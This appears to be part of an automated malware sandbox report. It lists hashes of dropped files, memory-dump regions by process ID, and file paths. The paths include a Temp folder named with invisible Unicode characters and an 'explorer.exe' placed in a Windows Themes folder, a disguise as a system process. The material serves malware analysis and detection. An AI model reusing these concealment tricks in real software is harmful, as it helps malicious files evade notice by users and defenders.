MD5 d5ba3fa805ec53cf44b7849749c649b6
SHA1 7f78e330b15a99330181d924e810d8aab9b905e0
SHA256 daf5bbaa6bb727ee05b371d28503e9932a483a9af4abdbb439cddac71bc08334
SHA512 393171c680374dc8c0f7749e1a9af470e70bf8bd9334874d280bedcdc5769d6582639f331847d0ba1cd4bd599e745450a5173f160518a7e87ca087588d775c3b

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Documents\Files.docx

MD5 4a8fbd593a733fc669169d614021185b
SHA1 166e66575715d4c52bcb471c09bdbc5a9bb2f615
SHA256 714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42
SHA512 6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Documents\SubmitConvertFrom.xlsx

MD5 2a3055e914ad5b4af25dcc515646ad1d
SHA1 94f363ecb4aa21643b66106c2270a31ea4e0a0c4
SHA256 5324838a087aab79078d249c1ce4aafee30a9aafc5ea97c46bd7fd4ccf35cdda
SHA512 78dc2b28c8706453ad51915b226c74b47347476de7b5ca664b8d203ed7ce5955bd66ca22c368f626b16bfd294abc7f7826c6d79daecebd824ced883446dc30e1

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Documents\Recently.docx

MD5 3b068f508d40eb8258ff0b0592ca1f9c
SHA1 59ac025c3256e9c6c86165082974fe791ff9833a
SHA256 07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7
SHA512 e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Documents\Opened.docx

MD5 bfbc1a403197ac8cfc95638c2da2cf0e
SHA1 634658f4dd9747e87fa540f5ba47e218acfc8af2
SHA256 272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6
SHA512 b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

memory/2840-481-0x00007FFFF8480000-0x00007FFFF8499000-memory.dmp

memory/2840-494-0x00007FFFF36F0000-0x00007FFFF37BD000-memory.dmp

memory/1536-499-0x0000000000400000-0x000000000041F000-memory.dmp

memory/2840-498-0x00007FFFF8470000-0x00007FFFF847D000-memory.dmp

memory/2840-497-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmp

memory/2840-493-0x00007FFFE5EE0000-0x00007FFFE6402000-memory.dmp

memory/2840-492-0x00007FFFF5E70000-0x00007FFFF5EA3000-memory.dmp

memory/2840-483-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmp

memory/2840-489-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmp

memory/2840-484-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmp

C:\Windows\Resources\Themes\explorer.exe

MD5 ac4b4c20dc5c198b5238246e1abb8d2d
SHA1 f3285c14b4eb7231aa46a35a816e0748ebc5bf17
SHA256 edf56213bbfd8de7c404fee0ca01e542411c18cdfec9face6b4337b6c0966961
SHA512 ba9162e7976ce455aa1bb3c61f2970ef316b806a158884766ec39ade4e400f3a21c940282ff485f5f3742821e912889ae2aa8462517a84ecc413c64d40cd51be

memory/1616-517-0x0000000000400000-0x000000000041F000-memory.dmp

memory/4160-524-0x0000000000400000-0x000000000041F000-memory.dmp

memory/4160-526-0x0000000000400000-0x000000000041F000-memory.dmp

memory/1536-529-0x0000000000400000-0x000000000041F000-memory.dmp

memory/1768-528-0x0000000000400000-0x000000000041F000-memory.dmp

memory/1616-527-0x0000000000400000-0x000000000041F000-memory.dmp

memory/2840-530-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmp

memory/2840-555-0x00007FFFF5E70000-0x00007FFFF5EA3000-memory.dmp

memory/2840-556-0x00007FFFE5EE0000-0x00007FFFE6402000-memory.dmp

memory/2840-554-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmp

memory/2840-553-0x00007FFFF8480000-0x00007FFFF8499000-memory.dmp

memory/2840-552-0x00007FFFF8470000-0x00007FFFF847D000-memory.dmp

memory/2840-551-0x00007FFFF84A0000-0x00007FFFF84C3000-memory.dmp

memory/2840-550-0x00007FFFF84D0000-0x00007FFFF84E9000-memory.dmp

memory/2840-549-0x00007FFFF84F0000-0x00007FFFF851D000-memory.dmp

memory/2840-548-0x00007FFFF8F90000-0x00007FFFF8F9F000-memory.dmp

memory/2840-547-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmp

memory/2840-546-0x00007FFFF36F0000-0x00007FFFF37BD000-memory.dmp

memory/2840-545-0x00007FFFF5E60000-0x00007FFFF5E6D000-memory.dmp

memory/2840-544-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmp

memory/2840-542-0x00007FFFF8450000-0x00007FFFF8464000-memory.dmp